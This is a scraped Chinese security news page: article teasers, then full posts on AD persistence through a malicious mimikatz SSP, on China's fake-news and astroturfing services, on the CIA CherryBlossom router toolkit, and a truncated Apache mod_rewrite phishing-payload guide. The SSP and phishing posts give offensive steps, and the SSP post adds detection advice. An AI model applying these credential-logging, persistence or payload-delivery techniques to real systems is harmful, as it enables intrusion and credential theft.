嘶吼RoarTalk

回归最本质的信息安全。

最新文章

不止Kali 和 Aircrack-ng | 无线渗透工具合集
本文总计推荐了44款工具。工具FreeWiFi – 如何获得免费的WiFi。监控Airgeddon – 这是一个多用途的bash脚本，用于Linux系统审核无线网络。GISKismet – 是一种无线侦察可视化工具，以灵活…查看全文
嘶吼吼
2 days ago
45 赞1 条评论
绕过AppLocker系列之MSIEXEC的利用
MSIEXEC是Windows操作系统中的一个实用程序，可用于从命令行安装或配置产品。如果环境配置不正确，则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。本文的以下内容表明…查看全文
嘶吼吼
2 days ago
0 赞0 条评论
为了更有效率地偷钱，Android root木马开始试水短信扣费诈骗
自2006年9月以来，我们就一直在监控Google Play商店有关Ztorg木马的各种新变异版本，到目前为止，我们已经发现了几十个新的Ztorg木马的变异程序。所有这些都是恶意程序无一例外都是利用漏…查看全文
嘶吼吼
2 days ago
1 赞3 条评论
Windows远程桌面漏洞Esteemaudit（CVE-2017-9073）补丁简要分析
在上个月，我们为方程式组织被泄漏的ESTEEMAUDIT漏洞撰写了一个简要的分析，并且直到我们发现这一漏洞攻击只适用于加入Windows域的计算机前，我们都在试图去重现这个问题，不过相对来说编写…查看全文
嘶吼吼
2 days ago
7 赞0 条评论
Windows Server中的 WINS 服务器远程内存损坏漏洞分析
漏洞概要在2016年12月，FortiGuard Labs发现并报告了Microsoft Windows Server中的WINS Server远程内存损坏漏洞。在2017年6月，微软向FortiGuard实验室答复说：“要修复程序漏洞需要对代码…查看全文
嘶吼吼
3 days ago
1 赞0 条评论
别以为Linux系统就不会被勒索 | 韩国一公司因此要准备100万美元赎金
6月10日，韩国网络托管公司NAYANA被Erebus 勒索软件（由趋势科技公司检测为RANSOM_ELFEREBUS.A）攻击，导致旗下 153 台 Linux 服务器与 3400 个商业网站感染 Erebus 勒索软件。安全专家表示…查看全文
嘶吼吼
3 days ago
14 赞5 条评论
子域名枚举、探测工具AQUATONE 使用指南
知道某一事物的攻击面是防御和攻击的关键。例如当我们谈到域名时，发现其攻击面的一个非常常见的方法是发现其子域。而通过子域名将能够增加发现潜在目标网站的数量，并对其IP范围进一步探索…查看全文
嘶吼吼
3 days ago
6 赞0 条评论
基于USB armory 制作一个USB恶意软件分析器
前一段时间，一位朋友在自己电脑上插入了一个USB，但不巧的是，USB里含有病毒，结果电脑就中毒了……出于好奇和友情，我决定分析一下其中的恶意软件。于是我用USB armory在我的电脑上建立了…查看全文
嘶吼吼
4 days ago
18 赞3 条评论
英国军工巨头BAE将大规模尖端监控软件Evident售往中东
近日，英国广播公司（BBC）阿拉伯语频道和丹麦报纸Dagbladet指责英国BAE系统公司在中东地区销售一款名为“Evident”的尖端监控软件。BBC阿拉伯语频道和丹麦报纸Dagbladet进行了为期一年的调…查看全文
嘶吼吼
4 days ago
6 赞0 条评论
惠普打印机爆远程命令执行漏洞，黑客可任意操纵你的打印机
在各类企业、单位甚至是学校，无论你身处在哪里，打印机都会作为必需品存在。也许你体验到的是其便捷的一面，但你是否了解其作为联网设备的危害在哪里呢？仔细回想一下，你上一次更新它的固…查看全文
嘶吼吼
4 days ago
3 赞0 条评论
强大的内网域渗透提权分析工具——BloodHound
简介和背景在今年二月，我发布了一个名为“ PowerPath ” 的POC脚本，它整合了Will Schroeder的PowerView和Justin Warner的本地管理员衍生工具，图形理论以及Jim Truher（@jwtruher）为证明…查看全文
嘶吼吼
4 days ago
12 赞0 条评论
深度解密：美国近2亿选民身份信息泄漏始末
事件概要近日，UpGuard公司网络风险小组的研究人员发现了一个错误配置的数据库，其中包含超过1.98亿美国选民的敏感个人资料。而此次泄漏事件正是由为共和党全国委员会（Republican National…查看全文
嘶吼吼
4 days ago
5 赞1 条评论
使用apache mod_rewrite方法随机提供payloads
本文中讲述的方法更适用于真实渗透测试环境中，因为电子邮件钓鱼往往是威胁到整个公司，而不是只威胁到红队的测试环境。因为电子邮件钓鱼具有高针对性，并且手动设置攻击载荷对攻击来说也是…查看全文
嘶吼吼
5 days ago
0 赞0 条评论
利用“域名后缀”的漏洞劫持国家顶级域名（一）
域名是互联网基础的一部分，我们时刻都在使用它。然而，大多数使用域名的人却很少了解域名是如何工作的。由于涉及到许多抽象层的东西和各种网络服务，所以许多人可以任意的拥有一个域名并建…查看全文
嘶吼吼
5 days ago
9 赞0 条评论
打劫也得讲艺术，如何通过登录社交账号榨干你的钱包？
今天我们想告诉你波兰银行的攻击者在实施攻击时到底有多么有创意？本文我们就来介绍完整的攻击过程，首先从简单的Facebook帐户入侵开始，到盗取受害者的银行帐户余额，到最…查看全文
嘶吼吼
5 days ago
7 赞0 条评论
美国计算机安全应急响应组（CERT）：需警惕朝鲜黑客组织“隐藏眼镜蛇”
近日，美国计算机安全应急响应组（CERT）发布了一条罕见的警戒通知（TA17-164A），内容有关一支朝鲜政府支持的黑客组织，名为“隐藏眼镜蛇”（Hidden Cobra，商业公司报告…查看全文
嘶吼吼
5 days ago
8 赞6 条评论
控制域名忘记续费，三星数百万台手机陷入“任人宰割”境地
由于忘记给一个已废弃应用的控制域名续费，三星数百万台旧款智能手机陷入安全风险之中，容易遭受骇客的攻击，甚至可能远程安装恶意软件。在2014年或之前时候，三星曾在旗下Android智能手机…查看全文
嘶吼吼
5 days ago
46 赞10 条评论
CIA曾经做过一套黑客工具，可以破解数百款品牌路由器
停顿两周后，维基解密又继续披露了CIA（美国中央情报局） Vault 7系列文件里的新文档。Vault 7系列文件是CIA制造的黑客工具，今天披露是里边一套针对数百款家庭路由器开发的攻击框架，名为C…查看全文
嘶吼吼
5 days ago
12 赞3 条评论
揭秘中国网络虚假新闻“制造器”，看传播者如何操纵操纵大众舆论？
目前越来越多的人使用并依赖互联网，互联网已经跟我们生活越来越密切，大量的信息通过互联网不断的飞速传播，其重要性是越来越大。在中国，有这么一种内容营销模式称为“新闻软文”。新闻软…查看全文
嘶吼吼
5 days ago
20 赞3 条评论
Active Directory权限持久控制之恶意的安全支持提供者(SSP)
本文的内容描述了一种方法，通过该方法，攻击者可以在拥有了域管理级别权限的5分钟后，就可以持续的对Active Directory进行管理访问。我在拉斯维加斯举办的DEF CON 23（2015年）峰会上介绍…查看全文
嘶吼吼
5 days ago
0 赞0 条评论

{"database":{"Post":{"27459096":{"title":"Active Directory权限持久控制之恶意的安全支持提供者(SSP)","author":"hou-hou-4-12","content":"<p>本文的内容描述了一种方法，通过该方法，攻击者可以在拥有了域管理级别权限的5分钟后，就可以持续的对Active Directory进行管理访问。<a href=\"https://adsecurity.org/?p=1632\" data-editable=\"true\" data-title=\"我在拉斯维加斯举办的DEF CON 23（2015年）峰会上介绍了这种AD持久性的方法。\" class=\"\">我在拉斯维加斯举办的DEF CON 23（2015年）峰会上介绍了这种AD持久性的方法。</a></p><p>安全支持提供程序接口（SSPI）可以轻松的扩展Windows的验证方法，从而可以添加新的安全支持提供程序（SSP），而无需额外的编码。</p><p>一些<a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/Aa380502%28v=VS.85%29.aspx\" data-editable=\"true\" data-title=\"标准的Windows认证SSP\">标准的Windows认证SSP</a>：</p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378749%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"NTLM\" class=\"\">NTLM</a><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378747%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"Kerberos\" class=\"\">Kerberos</a><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378748%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"Negotiate\" class=\"\">Negotiate</a><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa380123%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"安全通道（Schannel）\">安全通道（Schannel）</a><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378745%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"摘要\">摘要</a><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/bb931352%28v=vs.85%29.aspx\" data-editable=\"true\" data-title=\"凭证（CredSSP）\">凭证（CredSSP）</a><p>Mimikatz支持DLL 和注册表（场景1）以及在内存中更新SSP（场景2）。</p><p>场景1：将mimilib.dll复制到与LSASS（c:\\\\windows\\system32）相同的位置，并使用SSP DLL名称更新安全软件包注册表项（HKEY_LOCAL_MACHINE\\ System\\CurrentControlSet\\Control\\Lsa\\Security Packages\\）。<img src=\"v2-ad7973b6c3f0142c0db98d4791ff6f71.png\" data-rawwidth=\"422\" data-rawheight=\"257\"><img src=\"v2-6771d85bdcf954bf3ca2b522bb2ca2ec.png\" data-rawwidth=\"463\" data-rawheight=\"165\"><img src=\"v2-d757598baab672c76a2af58e550190a5.png\" data-rawwidth=\"764\" data-rawheight=\"422\"></p><p>场景2：使用mimikatz在内存中用新的SSP对LSASS打补丁，此操作无需重新启动（重新启动会清除Mimikatz 的 memssp 注入）。<img src=\"v2-41d801c7dc05a4c614ac0ce35ba63280.png\" data-rawwidth=\"639\" data-rawheight=\"191\"></p><p>这些场景中的任何一种都可以将新的SSP添加到Windows系统中。mimikatz中包含的SSP提供对本地认证凭据的自动记录功能。包括计算机帐户密码，运行服务的凭证和任何登录的帐户。</p><p>默认情况下，这些数据会记录到一个与dll文件位于相同的位置的日志文件中，尽管可以将该数据记录在系统的其他位置。如果当前的Windows系统是提供对已验证用户的访问的域控制器，那么备用的记录的日志文件可以在SYSVOL中找到。</p><p>一个典型的组策略模板文件可能看起来是这样的。<img src=\"v2-e0fb6e4b11b89df522b97d0c1e78fbb6.png\" data-rawwidth=\"796\" data-rawheight=\"562\"></p><p>当该路径作为Mimikatz SSP记录凭证的日志文件的位置时，这个假的组合策略模板文件看起来是这样的。<img src=\"v2-a195396db5e39800648518c754afcd9d.png\" data-rawwidth=\"799\" data-rawheight=\"565\"></p><h2><strong>检测方法</strong></h2><p>1. 监控控制安全软件包的LSA注册表项：HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Lsa\\Security Packages\\</p><p>2. 监控在域控制器上运行cmd.exe时执行的命令。</p><p>3. 监控在域控制器上运行PowerShell时执行的命令。</p><h2><strong>缓解措施</strong></h2><p>保护Active Directory的管理员权限。</p><br><blockquote>本文翻译自：<a href=\"https://adsecurity.org/?p=1760\" data-editable=\"true\" data-title=\"Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)\" class=\"\">Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)</a>，如若转载，请注明来源于嘶吼：<a href=\"http://www.4hou.com/system/5475.html\" data-editable=\"true\" data-title=\"Active Directory权限持久控制之恶意的安全支持提供者(SSP)\" class=\"\">Active Directory权限持久控制之恶意的安全支持提供者(SSP)</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-19T07:27:18.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"27459096","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-19T15:27:18+08:00","links":{"comments":"/api/posts/27459096/comments"},"url":"/p/27459096","titleImage":"","summary":"","href":"/api/posts/27459096","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"27459103":{"title":"揭秘中国网络虚假新闻“制造器”，看传播者如何操纵操纵大众舆论？","author":"hou-hou-4-12","content":"<p>目前越来越多的人使用并依赖互联网，互联网已经跟我们生活越来越密切，大量的信息通过互联网不断的飞速传播，其重要性是越来越大。</p><p>在中国，有这么一种内容营销模式称为“新闻软文”。新闻软文在最近的几年里受到了很多商家的追捧，因为这种销售形式相对隐蔽，能够让消费者在不知情的情况下产生依赖感，为企业或是产品带来正面的影响。</p><p>它们作为广告，正使用病毒式新闻来吸引读者。这些广告通常会使用很有噱头的标题，或是使用“基于我们的记者调查”这样的语句，为内容提供一种看似真实的语境。而事实上，这些文章只是伪装成新闻作品的广告。</p><h2><strong>内容营销服务 </strong></h2><p>在中国的地下和灰色市场中就提供这种“新闻软文”服务，其中一个就是“写作帮”，其收费标准为：100元——500-800字；200元——1000-1500字。此外，“写作帮”还提供内容分发服务，具体定价根据文章发布平台而定。<img src=\"v2-bd12f6af216dc2106e29cb01b906e48a.png\" data-rawwidth=\"772\" data-rawheight=\"664\"></p><p>【写作帮网页（左）及其服务定价单（右）】</p><p><img src=\"v2-cbab68c75d87033367315e4e56d8e813.png\" data-rawwidth=\"385\" data-rawheight=\"277\">【“写作帮”内容分发定价单：不同类型网站收费不同，从500-1300元不等】</p><h2><strong>分析服务</strong></h2><p>除了“代写／分发软文”，有些网站还兜售“舆论监测系统”服务，据称可以根据客户感兴趣的主题，搜集知名论坛和社交媒体（博客、微博、微信）上的相关信息，用户不用再一个网站一个网站地去看，一个关键词一个关键词地去搜索，极大地节省了人力和时间成本。</p><p>其中一项服务名为“博约舆情引导考评系统”，该服务声称可以监控3000个网站和论坛，并可以添加手动和自动发帖或回复服务，据悉其每分钟可以发布100个帖子。</p><p>“博约”的服务具有一定的工作流程：管理员首先通过内置即时消息（IM）客户端向其运营商发布任务；然后，运营商开始实施任务，博约的软件会对其任务完成情况进行跟踪和记录。随后，关键性能指标（KPIs）会将图标自动展示给客户，展示内容包括帖子数、点击数以及回复数、频率分析、时间轴以及正／负评论率等。</p><p>“博约”并没有在其官网上公布具体的定价表，潜在客户必须直接与博约客服进行联系，并亲自与其销售代理商索要报价信息。<img src=\"v2-2b10bff878d2f48f74a8ab0e4622c0b1.png\" data-rawwidth=\"661\" data-rawheight=\"836\"></p><p> 【博约舆情引导考评系统功能列表】</p><p>我们并没有直接与博约的销售代理人进行联系，而是通过对比“天互云镜舆情监测分析系统”来衡量了它们的定价模式。云镜的服务可以监控新闻网站（中英文）、论坛、博客、搜索引擎、区域网站以及应用程序（如微博、微信）等。它声称能够分析微博找出或创建“关键意见领袖”（在营销学上，为各厂家宣传的专家或权威被称为“关键意见领袖”，即拥有更多、更准确的产品信息，且为相关群体所接受或信任，并对该群体的购买行为有较大影响力的人），并为客户提供关于发帖、转发以及评论计数等方面的信息。</p><p>云镜主要按关键字向用户收取费用，具体定价为：10个关键字12800元；20个关键字28800元。该服务还包含微信、微博以及特殊的或客户自定义主题的分析报告。<img src=\"v2-749080fe93d536d559310540b3a6f5c3.png\" data-rawwidth=\"1107\" data-rawheight=\"857\"></p><p>【云镜网站快照】</p><p><img src=\"v2-04655442a0d677c6935037083ab1b103.png\" data-rawwidth=\"1250\" data-rawheight=\"817\">【云镜服务价格表】</p><h2><strong>社交媒体推广</strong></h2><p>中国地下市场还提供一种利用社交媒体影响公众舆论的服务模式。虽然这种模式在社交媒体营销中比较常见，但是在地下市场也已经成为一种浪潮。</p><p>此外，在中国社交媒体即服务（social  media  as  a  service）模式中还提供“付费发帖”以及“付费转帖”服务。即利用有影响力的微博或微信用户（即所谓的“大号”“大V”）来发布或转发客户的文章，以此提升客户的知名度和关注度。用户越受欢迎，相应地，收费价格越高。</p><p>有一家叫做“粉天下”的公司就提供这种服务，该公司声称可以让中国社交媒体中影响力最大的用户帮助你发布信息。例如，拥有1070万粉丝的微信名人的收费标准为479730元，而拥有7825万粉丝的微博大V的收费标准为1241090元。买家可以用名人的知名度作为有效的营销手段，为更广泛的受众提供他们所需的内容。<img src=\"v2-0e24841adddcc2a539f9fc18b049446c.png\" data-rawwidth=\"207\" data-rawheight=\"453\"></p><p>【微博人气排名（按粉丝数）】</p><p><img src=\"v2-16da92fbf644ee5205f08acdc2c1ceea.png\" data-rawwidth=\"1001\" data-rawheight=\"741\">【“粉天下”页面截图】</p><p>当然，如果你觉得“粉天下”收费过高，市场上也有许多收费较优惠的替代品。“伦桥平台”出售微信文章评论服务，1元可以购买40条评论；1.2元就可以获得1000个微信“点赞”服务。此外，“fans微传媒”也为用户提供视频评论服务，根据不同的视频平台（优酷、乐视、搜狐、腾讯以及爱奇艺），用户只需要支付2-20元的费用就可以获取1000条视频评论服务。</p><p>此外，市场上还有很多出售“粉丝”的平台。其中，“微博速”宣称可以在24小时内快速增加新浪微博客户的粉丝数，其具体收费取决于客户想要增加的粉丝数：25元可以获得500名粉丝；40元1000名粉丝；180元5000名粉丝；300元10000名粉丝。“微博速”还推出了一些奖励措施，它承诺在订单后一小时内支付的客户还可额外获取500名粉丝。</p><p>“微博速”一个较为强劲的竞争对手“微粉网”也提供微信粉丝服务。“微粉网”的服务价格比较昂贵，具体价格根据不同的社交媒体平台而有所不同：微博上5000名粉丝需要455元（“微博速”仅为180元）；而微信上同样的粉丝则需要700元。</p><p>与上述两家公司相比，“伦桥平台”的服务收费是最贵的：500名微信粉丝需要100元（24小时内支付）；5000名粉丝需要1000元；10000名粉丝需要2000元。<img src=\"v2-ac3ebc848337733c38432c10e0100ee6.png\" data-rawwidth=\"837\" data-rawheight=\"663\"></p><p>【从左上方顺时针依次为：“微博速”、“fans微传媒”、“伦桥平台”、“微粉网”网页和价格表】</p><h2><strong>删帖服务 </strong></h2><p>虽然中国一些地下市场会提供虚假新闻代写、分发和扩散的服务，但是也有一些公司恰恰在提供着相反的服务内容——删帖。</p><p>“大良造负面信息处理”就是一家提供这种服务的公司，新闻或给定网址中的帖子需要1-5天的时间才能被删除，具体的费用取决于内容的受欢迎程度以及发布的位置。</p><p>其实，类似的服务早在2012年就已经存在了。在我曾见过的一个广告中，删除特定门户网站上的一篇新闻稿或帖子就需要花费2500-6000元。在天涯、猫扑、BBS等热门论坛上撤下一篇帖子往往需要2500-5000元不等的费用。</p><p>2012年，北京警方取缔了一家“黑色”公关公司，名为“雅歌时代（Yage Times）”，该公司主要负责的业务就是帮助客户删除网络上一些不利的负面宣传或新闻稿。据悉，凭借此项业务，该公司在2011年获得了5000万元的盈利。“雅歌时代”的工作方式包括贿赂相关网站的管理员，或是通过黑客入侵的方式来删除文章。<img src=\"v2-991713d61fdd2d4eaeb3b716ba07e46f.png\" data-rawwidth=\"481\" data-rawheight=\"516\"></p><p>【删帖服务公司“大良造负面信息处理”网页截图】</p><p><img src=\"v2-bb83a1d6f19c412e10ab76f6177d6052.png\" data-rawwidth=\"546\" data-rawheight=\"368\">【删帖服务报价单】</p><h2><strong>投票操纵和点击农场 </strong></h2><p>中国地下市场还提供操纵投票等相关服务。上文提到的“微博速”和“伦桥平台”都提供这种服务：在“微博速”平台，客户支付350元就可以获得5000票（微博）；而在“伦桥平台”平台，客户24小时内支付200元就可以获得1000票。</p><p>但是，如果你的动机是更加深入地推广内容或应用程序，赢得用户好评以及提升公司和产品排名，那么我想你需要的是“点击农场”服务。“点击农场”通常带有内置脚本，可以自动执行一些操作，此外，它还可以作为出售社交媒体粉丝的服务基础设施。</p><p>我们在地下市场发现了一家名为“Higym集微微信群控”的公司，该公司据称可以为客户提供一体化解决方案，用于构建可运行多达10000台设备的点击农场。该服务配备一个物理服务器、可连接到手机的USB集线器，以及作为控制台或仪表板的Web门户来部署和管理任务。Higym还声称可以提供其他服务，包括欺骗GPS、WiFi和基站位置，以及通过脚本自动化整个活动（包括点击和打字）。<img src=\"v2-4099c2985b26cfccf979156edd1a929b.png\" data-rawwidth=\"564\" data-rawheight=\"125\"></p><p>【Higym的服务价格单，远程控制30个手机的服务器33830元；控制50个手机53680元；控制100个手机99760元】<img src=\"v2-1dd5e83b7b34be044e74f0a8ff2b2f43.png\" data-rawwidth=\"1357\" data-rawheight=\"841\"></p><p>【Higym主页】</p><p><img src=\"v2-ce1e95658887633c7665ce903389e2c5.png\" data-rawwidth=\"1150\" data-rawheight=\"1030\">【门户网站中展示的单机脚本面板】</p><p><img src=\"v2-a1667bdf06bdb6c7f9378de6c5d946ba.png\" data-rawwidth=\"520\" data-rawheight=\"890\">【点击农场操作示例】</p><p><img src=\"v2-c4831ad3cd7a5cb7f489f6d60f46b14a.png\" data-rawwidth=\"1916\" data-rawheight=\"1035\">【群控主界面】</p><h2><strong>网络虚假新闻治理</strong></h2><p>由于上述服务的“助力”，虚假新闻的传播和覆盖面早已经扩大，恶劣影响已经覆水难收，不仅危害了人们对新闻媒体的公信力，还迷惑了受众，误导了舆论，对社会发展起到了不利作用。</p><p>为了管控这种现象，2016年7月，国家网信办印发了一份《关于进一步加强管理制止虚假新闻的通知》，要求各网站确保新闻报道真实、全面、客观、公正，严禁盲目追求时效，未经核实将社交工具等网络平台上的内容直接作为新闻报道刊发。</p><p>《通知》还对各类网络平台明确提出多项“禁令”：严禁网站不标注或虚假标注新闻来源，严禁道听途说编造新闻或凭猜测想象歪曲事实。同时，各级网信办要切实履行网络内容管理职责，加强监督检查，严肃查处虚假、失实新闻信息。</p><p>虚假新闻的现状并非一日之效，自然地，管控虚假新闻也不是短期内能够实现的事情，净化网络环境还需你我共同参与！</p><br><blockquote>本文翻译自：<a href=\"https://documents.trendmicro.com/assets/white_papers/wp-fake-news-machine-how-propagandists-abuse-the-internet.pdf\" data-editable=\"true\" data-title=\"trendmicro.com 的页面\" class=\"\">https://documents.trendmicro.com/assets/white_papers/wp-fake-news-machine-how-propagandists-abuse-the-internet.pdf</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/info/news/5481.html\" data-editable=\"true\" data-title=\"揭秘中国网络虚假新闻“制造器”，看传播者如何操纵操纵大众舆论？ - 嘶吼 RoarTalk\" class=\"\">揭秘中国网络虚假新闻“制造器”，看传播者如何操纵操纵大众舆论？ - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-19T07:37:09.000Z","canComment":false,"commentPermission":"anyone","commentCount":3,"likeCount":20,"state":"published","isLiked":false,"slug":"27459103","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-19T15:37:09+08:00","links":{"comments":"/api/posts/27459103/comments"},"url":"/p/27459103","titleImage":"","summary":"","href":"/api/posts/27459103","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":3,"likesCount":20},"27459115":{"title":"CIA曾经做过一套黑客工具，可以破解数百款品牌路由器","author":"hou-hou-4-12","content":"<p>停顿两周后，维基解密又继续披露了CIA（美国中央情报局） Vault 7系列文件里的新文档。</p><p>Vault 7系列文件是CIA制造的黑客工具，今天披露是里边一套针对数百款家庭路由器开发的攻击框架，名为CherryBlossom（樱花盛放）。</p><p>CherryBlossom是CIA内部最复杂的恶意攻击框架之一，它可以让攻击者接管受害者的家庭路由器网络，并进行控制。</p><h2><strong>劫持固件更新</strong></h2><p>CherryBlossom最复杂的组件，是远程部署到受害者路由器上的部分。这部分可以直接现场操作，或者利用漏洞远程执行，让攻击者在目标路由器上安装新的固件。</p><p>CherryBlossom内部由多个组件构成，每个组件功能明确：</p><code lang=\"text\">FlyTrap：在受控设备上进行标示（固件已感染）\nCherryTree：FlyTrap回传报告的交互控制组件\nCherryWeb：在CherryTree上运行的Web管理面板\nMission：C&amp;C服务器感染设备时发送的一组任务</code><p><img src=\"v2-15344fbc3fcdef60dcea27db2c24a649.png\" data-rawwidth=\"785\" data-rawheight=\"455\">据CherryBlossom手册记录，攻击者通过CherryWeb面板控制CherryTree C&amp;C服务器，向被感染路由发送任务（Mission）。</p><p>不同任务（Mission）类型差别很大，这可能因为这套工具有着丰富的功能。比如：</p><code lang=\"text\">窃取目标的上网流量\n嗅探目标的上网流量，并根据预先设置的条件（URL、用户名、邮件、MAC地址等）执行各种操作\n重定向目标的上网流量\n创建一个基于目标网络的VPN\n当目标上网时提醒攻击者\n扫描目标的内部网络</code><h2><strong>支持超过200种路由器型号</strong></h2><p>CIA文件显示，FlyTraps可以安装在无线路由器和接入点设备上。有一份文档，专门列出了CherryBlossom支持攻击的200多种路由器型号，其中大部分都是旧型号。这份长达24页的文档没有标注日期，其它的CherryBlossom文档主要在2006年至2012年之间。</p><p>文末将列出所有受影响路由器的品牌，想进一步了解它们的具体型号，请参考<a href=\"https://wikileaks.org/vault7/document/WiFi_Devices/WiFi_Devices.pdf\" data-editable=\"true\" data-title=\"维基解密的文档\">维基解密的文档</a>。<img src=\"v2-ee4b393f2644d69f57612c3c74b33591.png\" data-rawwidth=\"874\" data-rawheight=\"699\"></p><p>法国安全研究员X0rz发现一个小细节，可以帮助大家追踪CherryBlossom的部署情况。在这套工具的安装指南里，CherryWeb控制面板的默认URL为“<a href=\"https://CherryTree-ip-address/CherryWeb/\" data-editable=\"true\" data-title=\"https://CherryTree-ip-address/CherryWeb/\">https://CherryTree-ip-address/CherryWeb/</a>”（例如“<a href=\"https://10.10.10.10/CherryWeb/\" class=\"\">https://10.10.10.10/CherryWeb/</a>”），用这个特征扫描全网，可以统计出目前在线仍受CherryBlossom控制的路由器。</p><p><strong>美国非营利组织参与开发？</strong></p><p>维基解密声称，CIA与一家名为斯坦福研究所的非营利组织共同开发的CherryBlossom。不过斯坦福研究所的名字只出现在一份名为Sundew的文档里，Sundew是Linux平台的无线扫描仪工具，用于识别路由品牌和型号。目前尚不清楚斯坦福研究所是躺枪了，还是真的有参与其中。</p><p>在此之前，美国安全公司Siege Technologies曾经帮助CIA开发了恶意木马框架Athena。</p><p>最近大半年里，维基解密总共披露了近十套CIA黑客工具，里边有：</p><code lang=\"text\">Weeping Angel：专门破解三星智能电视\nFine Dining：伪造系列恶意软件集合\nGrasshopper：Windows恶意木马制造工具\nDarkSeaSkies：针对iPhone和Mac的攻击工具\nScribble：Office文档的信标工具\nArchimedes：中间人攻击工具\nAfterMidnight和Assassin：Windows木马框架\nAthena：和美国公司共同开发的木马框架\nPandemic：把原文件替换为木马的工具</code><p>附：CherryBlossom文档里记录的受影响路由器品牌</p><p>3Com</p><p>Accton</p><p>Aironet/Cisco</p><p>Allied Telesyn</p><p>Ambit</p><p>AMIT, Inc</p><p>Apple</p><p>Asustek Co</p><p>Belkin</p><p>Breezecom</p><p>Cameo</p><p>D-Link</p><p>Gemtek</p><p>Global Sun</p><p>Linksys</p><p>Motorola</p><p>Orinoco</p><p>Planet Tec</p><p>Senao</p><p>US Robotics</p><p>Z-Com</p><br><blockquote>本文翻译自<a href=\"https://www.bleepingcomputer.com/news/security/cia-created-toolkit-for-hacking-hundreds-of-routers-models/\" data-editable=\"true\" data-title=\"CIA Created Toolkit for Hacking Hundreds of Routers Models\">CIA Created Toolkit for Hacking Hundreds of Routers Models</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/5523.html\" data-editable=\"true\" data-title=\"CIA曾经做过一套黑客工具，可以破解数百款品牌路由器 - 嘶吼 RoarTalk\" class=\"\">CIA曾经做过一套黑客工具，可以破解数百款品牌路由器 - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-19T07:38:36.000Z","canComment":false,"commentPermission":"anyone","commentCount":3,"likeCount":12,"state":"published","isLiked":false,"slug":"27459115","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-19T15:38:36+08:00","links":{"comments":"/api/posts/27459115/comments"},"url":"/p/27459115","titleImage":"","summary":"","href":"/api/posts/27459115","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":3,"likesCount":12},"27459121":{"title":"使用apache mod_rewrite方法随机提供payloads","author":"hou-hou-4-12","content":"<p>本文中讲述的方法更适用于真实渗透测试环境中，因为电子邮件钓鱼往往是威胁到整个公司，而不是只威胁到红队的测试环境。因为电子邮件钓鱼具有高针对性，并且手动设置攻击载荷对攻击来说也是很麻烦的。所以请阅读这篇文章，我会通过设置一个apache重定向器或者直接设置一个服务器，通过RewrieMap从预定义的攻击payload列表中随机选取payload进行提供。</p><p>apache中RewriteMap方法允许外部的程序比如脚本，数据库，文本文件等映射到服务器内部。在官方文档中使用最多的例子：如果一家网店的url结构想从item-1234到iphone-7-white，那么网站管理员无需更改任何硬编码的代码，只需当访问item-1234时，apache来提供iphone-7-white这一url。RewriteMap提供了大量修改这些资源的方法。我们会使用RewriteMap从一个文本文档中提取的payload转换为URI，并且当被访问时，进行302跳转，使目标能够访问到我们随机的payload文件。</p><p>下图就是攻击的主要内容：<img src=\"v2-85b72e0d29bf44412ef8fdec43e5e7f2.png\" data-rawwidth=\"1000\" data-rawheight=\"527\"></p><h2><strong>环境配置</strong></h2><p>apache环境需要更改一些设置以便服务器环境支持mod_rewrite以及RewriteMap方法。这些设置的详细信息都在我之前的<a href=\"https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/\" data-editable=\"true\" data-title=\"一篇文章\">一篇文章</a>中写过。长话短说，打开位于/etc/apache2/的apache2.conf文件，通过增加以下代码重写htaccess文件：</p><code lang=\"text\">&lt;Directory /var/www/&gt;\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n&lt;/Directory&gt;</code><p>如果你的重定向器的网站根目录不是默认的/var/www,你需要去更改一下AllowOverride的响应目录。</p><p>在配置服务器的文档中，我们需要在底部添加：</p><code lang=\"text\">RewriteMap payloads \"rnd:/var/www/payloads.txt\"</code><p>这一行代码就告诉mod_rewrite方法，当我们使用RewriteMap调用payload变量时，就会从/var/www/payloads.txt提取。apache用户必须具有读取这一文件的权限。并且应该储存在web根目录之外，比如在这个例子中，就是在/var/www/html目录之外。</p><p>创建/var/www/payloads.txt文件，并且在文件中写入如下内容：</p><code lang=\"text\">windows 